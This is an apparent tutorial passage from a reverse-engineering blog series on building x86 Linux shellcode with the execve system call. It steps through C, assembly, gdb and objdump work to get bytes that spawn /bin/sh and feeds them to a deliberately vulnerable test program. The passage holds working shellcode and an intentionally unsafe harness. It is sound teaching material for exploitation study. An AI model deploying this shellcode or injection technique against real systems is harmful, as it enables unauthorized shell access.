Hey fellow pwners!

In the previous article, we spoke about System Calls, how to extract machinecode from the assembly code we write and how null bytes in the machine code will reduce their reliability when they are injected.

In this article, we will go a step further and see how dangerous code injection may be. We will discuss and understand what Shellcode is and why it is called so.

Create a directory named post_10 inside the rev_eng_series directory.

A quick recap!

We used the following progran to do all the experiments in the previous article.

~/rev_eng_series/post_9$ cat code2.c
#include<stdio.h>
#include<string.h>
#include<unistd.h>

int main() {

        char buffer[100];
        read(0, buffer, sizeof(buffer));

        void (*executeme)();
        executeme = buffer;
        executeme();

        return 0;
}

And we compiled it in the following manner:

~/rev_eng_series/post_10$ gcc code2.c -o code2 -zexecstack

We wrote the assembly code first, assembled it, linked it and made sure it is functioning properly and then extracted the machine code from it using objdump.

If you have not read the previous article, I would advise you to read it before you go through with this article because it has a lot of basics and ground covered for this article without which you may not understand some things which are done in this article.

The exit() System Call

Let us quickly recap how we extracted the machine code of exit(1) System Call.

Step0: Write the assembly program:

~/rev_eng_series/post_10$ cat exit.asm
section .text
        global _start

_start:
        mov rax, 0x01
        mov rbx, 0x01
        int 0x80

Step1: Assemble and Link it and make sure you get an executable. Also make sure the executable runs properly - does what it is programmed to do.

~/rev_eng_series/post_10$ nasm exit.asm -f elf64
~/rev_eng_series/post_10$ ld exit.o -o exit
~/rev_eng_series/post_10$ ./exit
~/rev_eng_series/post_10$

Step2: Extract machine code from the executable using objdump.

~/rev_eng_series/post_10$ objdump -Mintel -d exit

exit:     file format elf64-x86-64


Disassembly of section .text:

0000000000400080 <_start>:
400080:       b8 01 00 00 00          mov    eax,0x1
400085:       bb 01 00 00 00          mov    ebx,0x1
40008a:       cd 80                   int    0x80

Here, you get the machine code but there are NULL (\x00) in it. So, write assembly code which generates machine code with zero NULL bytes.

Step3: Writing assembly code which generates machine code with zero NULL bytes. (All the steps)

~/rev_eng_series/post_10$ cat exit_no_null.asm
section .text
        global _start

_start:
        xor rax, rax
        mov al, 0x01
        xor rbx, rbx
        mov bl, 0x01
        int 0x80
~/rev_eng_series/post_10$ nasm exit_no_null.asm -f elf64
~/rev_eng_series/post_10$ ld exit_no_null.o -o exit_no_null
~/rev_eng_series/post_10$ ./exit_no_null
~/rev_eng_series/post_10$ objdump -Mintel -d exit_no_null

exit_no_null:     file format elf64-x86-64


Disassembly of section .text:

0000000000400080 <_start>:
400080:       48 31 c0                xor    rax,rax
400083:       b0 01                   mov    al,0x1
400085:       48 31 db                xor    rbx,rbx
400088:       b3 01                   mov    bl,0x1
40008a:       cd 80                   int    0x80
~/rev_eng_series/post_10$

You extract the machine code and give it as an input to code2.

~/rev_eng_series/post_10$ python -c "print '\x48\x31\xc0\xb0\x01\x48\x31\xdb\xb3\x01\xcd\x80'" | ./code2

So, that was a quick recap.

To make sure our machine code works fine, we will follow the following steps:

  1. Write the C program. Understand the System Call, it’s arguments.
  2. Disassemble the program, look at how arguments are passed, how the System Call is executed - Helps in Step3.
  3. Write the Assembly program.
  4. Assemble it and Link it to get an executable.
  5. Run the executable - Important Step - 01
  6. Extract the machinecode from the executable and inject into code2 - Important Step - 02
  7. Write assembly program which will generate a no-null-byte machine code.
  8. Assemble it and Link it to get the executable.
  9. Run the executable - Important Step - 03
  10. Extract machine code from the executable and inject into code2 - Important Step - 04

There are 4 important steps. They are important because we will know if the assembly program we wrote / machine code we extracted are working correctly. If the program segfaults, then we can debug and get things right.

Level up!

We understood the exit(1) System Call and extracted machine code from it. We did try out code injection but it was not fun enough. It was not evil enough :P .

We have to level up and do something amazing.

Whenever you think of attacking a system, why do you even attack it in the first place? I do it because I can hack it and get control of that system. I should be able to do whatever I want with it. How can do whatever we want in such a system? We can do whatever we want by getting a shell. If you have a shell, you can execute whatever command you want depending on your user privileges.

You somehow exploit a system and get a shell with a standard user privileges, then you can do some stuff. You will have some control over the system but that is not all.

If you exploit a system and get a shell with root privileges, then you are the god!!. If you are root, you then definitely have complete control over the system.

You might be aware of the obsession with getting a shell with root privileges. This is the reason. You hack into a system and you have root privileges, then you are the god.

So, from here we will be discussing on How to get a shell? using Code Injection Exploit method.

execve system call!

You might have heard of this word Shellcode before. I specifically didn’t want to use it till we come to this part of the article. Shellcode is machine code which when executed gives a shell.

We saw machine code which will terminate a program peacefully. Now, we will look at machine code which will give you a shell, where you can execute commands and depending on the user privileges you get, you can do whatever you want. So, go Shellcode!!

Before getting into shellcode, there are some basics to be understood.

How is a new program run?

If you want to run your a.out program, you just do ./a.out on your commandline and don’t really care about the rest of the work done to execute a.out . Here, you have to note that your CommandLine Shell(by default bash) will request the Operating System to run your a.out program. Let us see how it does that.

Let us take the exit.asm example.

~/rev_eng_series/post_10$ cat exit.asm
section .text
        global _start

_start:
        mov rax, 0x01
        mov rbx, 0x01
        int 0x80

~/rev_eng_series/post_10$ nasm exit.asm -f elf64
~/rev_eng_series/post_10$ ld exit.o -o exit

  • It has only the exit system call. Our focus is on how the commandline requests the Operating System to execute the executable.

  • In the previous article, we used a wonderful tool called strace. Let us use strace and see if we find out something.

      ~/rev_eng_series/post_10$ strace ./exit
  execve("./exit", ["./exit"], [/* 84 vars */]) = 0
  write(0, NULL, 0 <unfinished ...>
  +++ exited with 1 +++

  • Observe this. It says exited with 1. This is perfect. But what is that first thing there? It says execve and there are 3 arguments out there. It returns a value of 0.

  • Let us see what execve is. Let us look at it’s man page.

      NAME
  execve - execute program

  SYNOPSIS
      #include <unistd.h>

      int execve(const char *filename, char *const argv[],
            char *const envp[]);

  DESCRIPTION
      execve() executes the program pointed to by filename.  filename must be either a binary executable, or a script starting with a line of the form:

          #! interpreter [optional-arg]

  • Let us first understand what execve’s arguments are which will help write programs using execve.

  1. Argument 0: const char * filename

    • This is the path of the program to be run. Suppose you have to run the program named a.out present in the current directory, then filename = ./a.out .

  2. Argument 1: char * const argv[]

    • argv is the pointer to the array of character pointers where each of the character pointers points to the argument of the program we want to execute.

  • Suppose the program a.out has 3 command-line arguments. Look at this diagram:

      argv ---------->---- argv[0] ----> "a.out"
                  ---- argv[1] ----> "Argument1"
                  ---- argv[2] ----> "Argument2"
                  ---- argv[3] ----> "Argument3"
  1. Argument 2: char * const envp[]

  • argv is a pointer to an array of character pointers where each one of those pointers pointed to an argument of the program to be run.

  • envp is also a pointer to an array of character pointers where each one of these pointers points to one environment variable.

  • Ok. So, what is an environment variable? These are variables which describe the complete environment where the program is going to be executed.

  • Let us use the printenv command to list all the Environment variables:

      ~/rev_eng_series/post_10$ printenv
  XDG_VTNR=7
  XDG_SESSION_ID=c2
  TERM_PROGRAM=vscode
  rvm_bin_path=/home/adwi/.rvm/bin
  XDG_GREETER_DATA_DIR=/var/lib/lightdm-data/adwi
  CLUTTER_IM_MODULE=xim
  SESSION=ubuntu
  GEM_HOME=/home/adwi/.rvm/gems/ruby-2.4.1
  GPG_AGENT_INFO=/home/adwi/.gnupg/S.gpg-agent:0:1
  TERM=xterm-256color
  VTE_VERSION=4205
  XDG_MENU_PREFIX=gnome-
  SHELL=/bin/bash
  IRBRC=/home/adwi/.rvm/rubies/ruby-2.4.1/.irbrc
  QT_LINUX_ACCESSIBILITY_ALWAYS_ON=1
  TERM_PROGRAM_VERSION=1.28.2
  SEED_ENV=1234
  WINDOWID=71303178
  OLDPWD=/home/adwi/rev_eng_series/post_9
  UPSTART_SESSION=unix:abstract=/com/ubuntu/upstart-session/1000/3301
  GNOME_KEYRING_CONTROL=
  MY_RUBY_HOME=/home/adwi/.rvm/rubies/ruby-2.4.1
  GTK_MODULES=gail:atk-bridge:unity-gtk-module
  USER=adwi
  LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:
  QT_ACCESSIBILITY=1
  _system_type=Linux
  UNITY_HAS_3D_SUPPORT=true
  XDG_SESSION_PATH=/org/freedesktop/DisplayManager/Session0
  rvm_path=/home/adwi/.rvm
  XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat0
  SSH_AUTH_SOCK=/run/user/1000/keyring/ssh
  DEFAULTS_PATH=/usr/share/gconf/ubuntu.default.path
  SESSION_MANAGER=local/adwi:@/tmp/.ICE-unix/3564,unix/adwi:/tmp/.ICE-unix/3564
  XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/usr/share/upstart/xdg:/etc/xdg
  UNITY_DEFAULT_PROFILE=unity
  rvm_prefix=/home/adwi
  DESKTOP_SESSION=ubuntu
  PATH=/home/adwi/.cargo/bin:/home/adwi/.cargo/bin:/home/adwi/.rvm/gems/ruby-2.4.1/bin:/home/adwi/.rvm/gems/ruby-2.4.1@global/bin:/home/adwi/.rvm/rubies/ruby-2.4.1/bin:/home/adwi/.cargo/bin:/home/adwi/bin:/home/adwi/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/home/adwi/.rvm/bin:/home/adwi/android_studio_bin/:.:/home/adwi/.rvm/bin:/home/adwi/android_studio_bin/:.:/home/adwi/.rvm/bin
  QT_IM_MODULE=ibus
  QT_QPA_PLATFORMTHEME=appmenu-qt5
  XDG_SESSION_TYPE=x11
  PWD=/home/adwi/rev_eng_series/post_10
  JOB=unity-settings-daemon
  XMODIFIERS=@im=ibus
  GNOME_KEYRING_PID=
  LANG=en_US.UTF-8
  GDM_LANG=en_US
  MANDATORY_PATH=/usr/share/gconf/ubuntu.mandatory.path
  _system_arch=x86_64
  COMPIZ_CONFIG_PROFILE=ubuntu
  IM_CONFIG_PHASE=1
  _system_version=16.04
  GDMSESSION=ubuntu
  rvm_version=1.29.4 (latest)
  SESSIONTYPE=gnome-session
  GTK2_MODULES=overlay-scrollbar
  SHLVL=3
  HOME=/home/adwi
  XDG_SEAT=seat0
  APPLICATION_INSIGHTS_NO_DIAGNOSTIC_CHANNEL=true
  LANGUAGE=en_IN:en
  GNOME_DESKTOP_SESSION_ID=this-is-deprecated
  UPSTART_INSTANCE=
  UPSTART_EVENTS=xsession started
  XDG_SESSION_DESKTOP=ubuntu
  LOGNAME=adwi
  COMPIZ_BIN_PATH=/usr/bin/
  GEM_PATH=/home/adwi/.rvm/gems/ruby-2.4.1:/home/adwi/.rvm/gems/ruby-2.4.1@global
  DBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-BmtjuWr985
  XDG_DATA_DIRS=/usr/share/ubuntu:/usr/share/gnome:/usr/local/share:/usr/share:/var/lib/snapd/desktop
  QT4_IM_MODULE=xim
  LESSOPEN=| /usr/bin/lesspipe %s
  INSTANCE=
  UPSTART_JOB=unity7
  XDG_RUNTIME_DIR=/run/user/1000
  DISPLAY=:0
  XDG_CURRENT_DESKTOP=Unity
  GTK_IM_MODULE=ibus
  RUBY_VERSION=ruby-2.4.1
  LESSCLOSE=/usr/bin/lesspipe %s %s
  _system_name=Ubuntu
  XAUTHORITY=/home/adwi/.Xauthority
  _=/usr/bin/printenv

  • Look at every single variable. It has some detail about the environment in which the program is being run. Consider the HOME environment variable. It’s value is /home/adwi. So, this tells that the home directory is /home/adwi.

  • Similarly, there are many such important things. Look at the SHELL variable. It is /bin/bash. This tells that the default shell here is /bin/bash.

  • All these variables make up what is known as an environment for the process to run.

  • When a new program is run, all these variables are inherited by the new program. All these variables are passed to the new program using the envp pointer. This way, the new program is aware of it’s environment.

Having known this much about execve, let us write a very simple program. Check this out:

~/rev_eng_series/post_10$ cat getshell.c
#include<stdio.h>
#include<unistd.h>

int main() {
        //The filename / name of the new program we want to execute.
        char *filename = "/bin/sh";

        //There is only 1 argument here - the program name itself.
        char **argv;
        argv[0] = "/bin/sh";
        argv[1] = NULL;

        //Let us not inherit environment variables.
        char **envp;
        envp = NULL;

        if(execve(filename, argv, envp)) {
                fprintf(stderr, "Error in executing execve system call\n");
                _exit(-1);
        }

        return 0;
}

  • The program is simple. We are executing the well-known /bin/sh program. This is the standard program of shell. If this gets executed, we will get a shell. Let us compile and run it.

      ~/rev_eng_series/post_10$ ./getshell
  $
  $
  $ ls
  a.out  code1.c  code2  code2.c  dummy  dummy.c  execve  exit  exit.asm  exit.o  exit_no_null  exit_no_null.asm  exit_no_null.o  getshell  getshell.c  peda-session-execve.txt  post.md
  $ ls -l
  total 124
  -rwxrwxr-x 1 adwi adwi  8608 Oct 30 02:27 a.out
  -rw-rw-r-- 1 adwi adwi   196 Oct 30 02:27 code1.c
  -rwxrwxr-x 1 adwi adwi  8664 Oct 29 21:50 code2
  -rw-rw-r-- 1 adwi adwi   197 Oct 29 21:50 code2.c
  -rwxrwxr-x 1 adwi adwi  8552 Oct 29 23:16 dummy
  -rw-rw-r-- 1 adwi adwi    15 Oct 29 23:16 dummy.c
  -rwxrwxr-x 1 adwi adwi  8752 Oct 30 03:08 execve
  -rwxrwxr-x 1 adwi adwi   704 Oct 29 23:19 exit
  -rw-rw-r-- 1 adwi adwi    78 Oct 29 21:55 exit.asm
  -rw-rw-r-- 1 adwi adwi   576 Oct 29 23:19 exit.o
  -rwxrwxr-x 1 adwi adwi   712 Oct 29 22:00 exit_no_null
  -rw-rw-r-- 1 adwi adwi   104 Oct 29 22:00 exit_no_null.asm
  -rw-rw-r-- 1 adwi adwi   576 Oct 29 22:00 exit_no_null.o
  -rwxrwxr-x 1 adwi adwi  8752 Oct 30 03:08 getshell
  -rw-rw-r-- 1 adwi adwi   465 Oct 30 03:06 getshell.c
  -rw-rw-r-- 1 adwi adwi    12 Oct 30 03:04 peda-session-execve.txt
  -rw-rw-r-- 1 adwi adwi 16391 Oct 30 03:08 post.md
  $
  $

  • Play around with this shell. You will soon findout that this shell we got is not as cool as the normal colorful shell we are using. That is because most of the environment variables are not inherited. Some are inherited by default.

  • But it is giving us what we want - a commaneline to execute commands, sneek into files.

Now, we know how execve works. Write a few simple programs which run other programs using execve and make sure you clearly understand this System Call.

From here onwards, let us work on 32-bit executables. We will write shellcode for 32-bit programs.

Shellcode

That was an important detour we took to understand execve system call.

Coming back to writing shellcode, these are the steps we will follow to get working shellcode:

  1. Write the C program. Understand the System Call, it’s arguments.
  2. Disassemble the program, look at how arguments are passed, how the System Call is executed - Helps in Step3.
  3. Write the Assembly program.
  4. Assemble it and Link it to get an executable.
  5. Run the executable - Important Step - 01
  6. Extract the machinecode from the executable and inject into code2 - Important Step - 02
  7. Write assembly program which will generate a no-null-byte machine code.
  8. Assemble it and Link it to get the executable.
  9. Run the executable - Important Step - 03
  10. Extract machine code from the executable and inject into code2 - Important Step - 04

Step1: Write the C program. Understand the System Call, it’s arguments

The program we wrote to get a shell using execve was good, but that used too much of memory. Our machinecode(from now on shellcode) should always be minimalistic because we never know the memory constraints in the target system. It has to use least amount resources.

Let us rewrite the program with least number of variables, no error handling.

~/rev_eng_series/post_10$ cat getshell2.c
int main() {


    //There is only 1 argument here - the program name itself.
    char **argv;
    argv[0] = "/bin/sh";
    argv[1] = 0;

    char **envp = 0;

    execve(argv[0], argv, envp);

    return 0;
}

  • Let us compile it in this manner:

      ~/rev_eng_series/post_10$ gcc getshell2.c -o getshell2 -m32

  • We get a 32-bit executable.

  • Run it and confirm that you get a shell.

  • Step 1 done!

Step2: Disassemble the program, look at how arguments are passed, how the System Call is executed

Why should we do this?

We have to do this because we will know how exactly the System Call is executed. We can look at it and write a similar assembly program. It is to get an idea to write the assembly program. I personally feel this is a very important step because we will be reading code generated by the compiler - error-free code. So, if we write our assembly program similar to this, we can be mostly sure that assembly code will also work properly. If it works, then the shellcode extracted from that assembly code will work. I hope you are getting my point.

  1. We will quickly open gdb and look into getshell2’s disassembly.

     ~/rev_eng_series/post_10$ gdb -q getshell2
 Reading symbols from getshell2...(no debugging symbols found)...done.
 gdb-peda$ disass main
 Dump of assembler code for function main:
 0x0804840b <+0>:     lea    ecx,[esp+0x4]
 0x0804840f <+4>:     and    esp,0xfffffff0
 0x08048412 <+7>:     push   DWORD PTR [ecx-0x4]
 0x08048415 <+10>:    push   ebp
 0x08048416 <+11>:    mov    ebp,esp
 0x08048418 <+13>:    push   ecx
 0x08048419 <+14>:    sub    esp,0x14
 0x0804841c <+17>:    mov    eax,DWORD PTR [ebp-0x10]
 0x0804841f <+20>:    mov    DWORD PTR [eax],0x80484e0
 0x08048425 <+26>:    mov    eax,DWORD PTR [ebp-0x10]
 0x08048428 <+29>:    add    eax,0x4
 0x0804842b <+32>:    mov    DWORD PTR [eax],0x0
 0x08048431 <+38>:    mov    DWORD PTR [ebp-0xc],0x0
 0x08048438 <+45>:    sub    esp,0x4
 0x0804843b <+48>:    push   0x0
 0x0804843d <+50>:    push   0x0
 0x0804843f <+52>:    push   0x80484e0
 0x08048444 <+57>:    call   0x80482f0 <execve@plt>
 0x08048449 <+62>:    add    esp,0x10
 0x0804844c <+65>:    mov    eax,0x0
 0x08048451 <+70>:    mov    ecx,DWORD PTR [ebp-0x4]
 0x08048454 <+73>:    leave
 0x08048455 <+74>:    lea    esp,[ecx-0x4]
 0x08048458 <+77>:    ret
 End of assembler dump.
 gdb-peda$

  • Let us break at this instruction: 0x08048444 <+57>: call 0x80482f0 execve@plt . Just before the execve function gets executed.

      gdb-peda$ b *0x08048444

  • Let’s run

      gdb-peda$ run

  • Now, we will be doing an important step. We will be breaking at execve function in this manner:

      gdb-peda$ print execve
  $1 = {<text variable, no debug info>} 0xf7ead7e0 <execve>
  gdb-peda$ b *0xf7ead7e0

  • The print command is used to find the actual address of the execve function in libc shared library. Let us break at that point.

  • Let us now observe the stack. Let us look at the arguments passed to the execve function.

      [------------------------------------stack-------------------------------------]
  0000| 0xffffcbc0 --> 0x80484e0 ("/bin/sh")
  0004| 0xffffcbc4 --> 0x0
  0008| 0xffffcbc8 --> 0x0
  0012| 0xffffcbcc --> 0x80484ab (<__libc_csu_init+75>:   add    edi,0x1)
  0016| 0xffffcbd0 --> 0x1
  0020| 0xffffcbd4 --> 0xffffcc94 --> 0xffffcec4 ("/home/adwi/rev_eng_series/post_10/getshell2")
  0024| 0xffffcbd8 --> 0xffffcc9c --> 0x80484e0 ("/bin/sh")
  0028| 0xffffcbdc --> 0x0
  [------------------------------------------------------------------------------]

  • We know that execve has 3 arguments. The first is the address of string “/bin/sh”. The second is 0 and third is 0. Notice that in our C program, the second argument was not 0. The compiler has made these changes. This is how arguments are pushed onto the stack:

      0x0804843b <+48>:    push   0x0
  0x0804843d <+50>:    push   0x0
  0x0804843f <+52>:    push   0x80484e0                   //The address of "/bin/sh"
  0x08048444 <+57>:    call   0x80482f0 <execve@plt>

  • Let us continue.

  • Let us look at the assembly code of execve function:

      gdb-peda$ disass execve
  Dump of assembler code for function execve:
  => 0xf7ead7e0 <+0>:     push   ebx
  0xf7ead7e1 <+1>:     mov    edx,DWORD PTR [esp+0x10]
  0xf7ead7e5 <+5>:     mov    ecx,DWORD PTR [esp+0xc]
  0xf7ead7e9 <+9>:     mov    ebx,DWORD PTR [esp+0x8]
  0xf7ead7ed <+13>:    mov    eax,0xb
  0xf7ead7f2 <+18>:    call   DWORD PTR gs:0x10
  0xf7ead7f9 <+25>:    pop    ebx
  0xf7ead7fa <+26>:    cmp    eax,0xfffff001
  0xf7ead7ff <+31>:    jae    0xf7e15730
  0xf7ead805 <+37>:    ret
  End of assembler dump.
  gdb-peda$

  • Let us just recall how arguments are accessed by the callee function.This is a 32-bit executable. So, corresponding function call mechanism is used. esp+0x8 is the address of the First Argument. esp+0xc is the address of the Second Argument. esp+0x10 is the address of Third Argument.

  • For a System Call, arguments are passed like this: ebx has the First Argument, ecx has the Second, edx has the Third etc.,

  • Let us see if both the above things tally properly.

      ebx = DWORD PTR [esp + 0x8]     ------  First Argument - Address of "/bin/sh"
  ecx = DWORD PTR [esp + 0xc]     ------  Second Argument - 0
  edx = DWORD PTR [esp + 0x10]    ------  Third Argument - 0

  • Yes. everything is good. In instruction mov eax, 0xb, the System Call Number of execve = 0xb or 11 is loaded into eax.

  • Then there is a call to DWORD PTR gs:0x10. Here, the System Call is executed.

  • continue in gdb and make sure a new program is executed. I got this to confirm that a shell is executed.

      process 5732 is executing new program: /bin/dash
  Warning:
  Cannot insert breakpoint 1.
  Cannot access memory at address 0x8048444
  Cannot insert breakpoint 2.
  Cannot access memory at address 0xf7ead7e0

  • So, the program /bin/dash is executed. Bingo!

I hope you have understood the assembly code of the C program well because we will be writing Assembly code with keeping this as our foundation.

Step 2 done!

These is how the compiler did it:

  • Push the 3 arguments onto the stack.
  • Call the execve function - which is a wrapper for execve System Call.

Let us try this method and get a shell first. Do not care about null bytes or anything. Just focus on getting the assembly program right.

  1. Storing the string /bin/sh in .data section.

     section .data
 shell: db "/bin/sh", 0x00

  2. Writing code in .text section.

     section .text
 global _start

_start: push 0 push 0 push shell

    call execve
  • Look at this. It is complete copy of the compiler output. I didn’t change anything because we know it is correct.

  1. This is how label: execve looks like:

     execve:
 push ebp
 mov edx, dword [esp + 0x10]
 mov ecx, dword [esp + 0xc]
 mov ebx, dword [esp + 0x8]
 mov eax, 0x0b
 int 0x80

  2. This is the complete program:

     ~/rev_eng_series/post_10$ cat getshell2.asm
 section .data
 shell: db "/bin/sh", 0x00

 section .text
         global _start

 _start:
         push 0                  //3rd Argument
         push 0                  //2nd Argument
         push shell              //1st Argument

         call execve
         call exit               //In case execve fails

 execve:
         push ebp                                //Store old ebp.

         mov edx, dword [esp + 0x10]             // 3rd Argument: 0
         mov ecx, dword [esp + 0xc]              // 2nd Argument: 0
         mov ebx, dword [esp + 0x8]              // 1st Argument: Address of "/bin/sh"
         mov eax, 0x0b                           // System Call number loaded into eax
         int 0x80                                // Request Kernel!

  3. Let us assemble it, link it and get the executable.

     ~/rev_eng_series/post_10$ nasm getshell2.asm -f elf32
 ~/rev_eng_series/post_10$ ld getshell2.o -o asm_getshell2 -m elf_i386

  4. We have asm_getshell2. Let us run it:

     ~/rev_eng_series/post_10$ ./asm_getshell2
 $
 $ whoami
 adwi
 $
 $ who
 adwi     tty7         Nov  1 19:26 (:0)
 $
 $ ls -l
 total 856
 -rwxrwxr-x 1 adwi adwi   8608 Oct 30 02:27 a.out
 -rwxrwxr-x 1 adwi adwi    700 Nov  2 16:45 asm_getshell2
 -rw-rw-r-- 1 adwi adwi    196 Oct 30 02:27 code1.c
 -rwxrwxr-x 1 adwi adwi   8664 Oct 29 21:50 code2
 -rw-rw-r-- 1 adwi adwi    197 Oct 29 21:50 code2.c
 -rwxrwxr-x 1 adwi adwi   8552 Oct 29 23:16 dummy
 -rw-rw-r-- 1 adwi adwi     15 Oct 29 23:16 dummy.c
 -rwxrwxr-x 1 adwi adwi   8752 Oct 30 03:08 execve
 -rwxrwxr-x 1 adwi adwi    704 Oct 29 23:19 exit
 -rw-rw-r-- 1 adwi adwi     78 Oct 29 21:55 exit.asm
 -rw-rw-r-- 1 adwi adwi    576 Oct 29 23:19 exit.o
 -rwxrwxr-x 1 adwi adwi    712 Oct 29 22:00 exit_no_null
 -rw-rw-r-- 1 adwi adwi    104 Oct 29 22:00 exit_no_null.asm
 -rw-rw-r-- 1 adwi adwi    576 Oct 29 22:00 exit_no_null.o
 -rwxrwxr-x 1 adwi adwi 725236 Nov  2 15:33 getshell
 -rw-rw-r-- 1 adwi adwi    465 Oct 30 03:06 getshell.c
 -rwxrwxr-x 1 adwi adwi    700 Nov  2 16:42 getshell2
 -rw-rw-r-- 1 adwi adwi    312 Nov  2 16:42 getshell2.asm
 -rw-rw-r-- 1 adwi adwi    188 Nov  2 15:46 getshell2.c
 -rw-rw-r-- 1 adwi adwi    688 Nov  2 16:45 getshell2.o
 -rw-rw-r-- 1 adwi adwi     12 Oct 30 03:04 peda-session-execve.txt
 -rw-rw-r-- 1 adwi adwi     14 Nov  2 16:35 peda-session-getshell2.txt
 -rw-rw-r-- 1 adwi adwi  28626 Nov  2 16:45 post.md
 $

Bingo!! You got it.

  1. Few thoughts about this program:

  • Amazing! We got the shell. Now, we have to think if we can inject the machine code extracted from this assembly program.

  • Note that this program has a .data section. So, in order for this to work when injected, we should have written the string /bin/sh into the data section of the vulnerable software. So, first we have to inject code which will write the string in .data section and then inject code which will give a shell. This is somehow not fitting our “Be a Minimalist” policy :P

  • Also, we do not need function call jumps to execute execve. We don’t have to copy arguments into registers similar to a function call. Let us cut all that and do whatever is needed.

  1. Let us try writing a program without using the .data section. What other memory section can we use? We have the stack for us. We can store the string “/bin/sh” in the stack and get the address. The C program getshell2.c we wrote is our reference.

     ~/rev_eng_series/post_10$ cat getshell2.c
 int main() {


 //There is only 1 argument here - the program name itself.
 char **argv;
 argv[0] = "/bin/sh";
 argv[1] = 0;

 char **envp = 0;

 execve(argv[0], argv, envp);

 return 0;
 }
    • We will write an assembly program shell32.asm which is almost a copy of the above C program.

  2. In this step, we will see how we can write the assembly program.

    • We have a string “/bin/sh” to store in stack. The stack should look something like this after storing the string:

        string_address	: /	b	i	n	/	/	s	h
  string_address + 8	: 0	0 	0	0	0	0	0	0

    • You first push 0 onto the stack. Then store the string. Remember, a string is always NULL-terminated.

    • We now need argv. The pointer which points to the array of pointers. The clear direction is: argv[1] = 0, argv[0] = Address of “/bin/sh”. We can do the following.

        mov Reg1, esp	; Top of stack points to "/bin//sh"
  push 0x00		; argv[1] = 0x00
  push Reg1		; Pushing address of "/bin//sh"
  mov Reg2, esp	: Top of stack is argv.

    • Open this assembly program. It has x86 assembly code written to get a shell. The following is a comment-less version of the same program:

        section .text
  global _start

  _start:

      push 0x00                                                              
      push 0x68732f2f                                                                  
      push 0x6e69622f
      mov ebx, esp                                                                                                  

      push 0x00
      push ebx
      mov ecx, esp

      mov edx, 0x00                           

      mov eax, 0xb

      int 0x80

  exit:
      mov eax, 0x01
      mov ebx, 0x00
      int 0x80

    • Go through shell32.asm assembly program carefully. I have added comments to each instruction. When you read that assembly program, it is better to keep the C program as reference. You will be able to understand what exactly is being done in shell32.asm.

  3. Assemble, link and run the program:

    • Read this carefully. Only after you have understood the program completely, you go ahead with this step. It is very important that you understand the program. This will help you write your own shellcode later on.

    • Let us run it.

        rev_eng_series/roughwork$ nasm  shell32.asm -f elf32
  rev_eng_series/roughwork$ ld shell32.o -o shell32 -m elf_i386
  rev_eng_series/roughwork$ ./shell32
  $ 
  $ whoami
  adwi
  $

    • Bingo! You get a shell as expected.

    • So, our assembly program is working.

Step6: Extract machinecode and check if it’s working or not.

  1. The following is the objdump output of shell32 executable.

     $ objdump -Mintel -d shell32

 shell32:     file format elf32-i386


 Disassembly of section .text:

 08048060 <_start>:
 8048060:	6a 00                	push   0x0
 8048062:	68 2f 2f 73 68       	push   0x68732f2f
 8048067:	68 2f 62 69 6e       	push   0x6e69622f
 804806c:	89 e3                	mov    ebx,esp
 804806e:	6a 00                	push   0x0
 8048070:	53                   	push   ebx
 8048071:	89 e1                	mov    ecx,esp
 8048073:	ba 00 00 00 00       	mov    edx,0x0
 8048078:	b8 0b 00 00 00       	mov    eax,0xb
 804807d:	cd 80                	int    0x80

 0804807f <exit>:
 804807f:	b8 01 00 00 00       	mov    eax,0x1
 8048084:	bb 00 00 00 00       	mov    ebx,0x0
 8048089:	cd 80                	int    0x80

    • Extract the machine code and store it in a file exploit.txt. It can be done in the following manner.

        $ python -c "print '\x6a\x00\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x6a\x00\x53\x89\xe1\xba\x00\x00\x00\x00\xb8\x0b\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80'" > exploit.txt

  2. We have the shellcode stored in the file exploit.txt. Let us compile code2.c to get a 32-bit executable so that we can try and test our shellcode in it.

     $ gcc code2.c -o code2_32 -m32 -zexecstack
 code2.c: In function ‘main’:
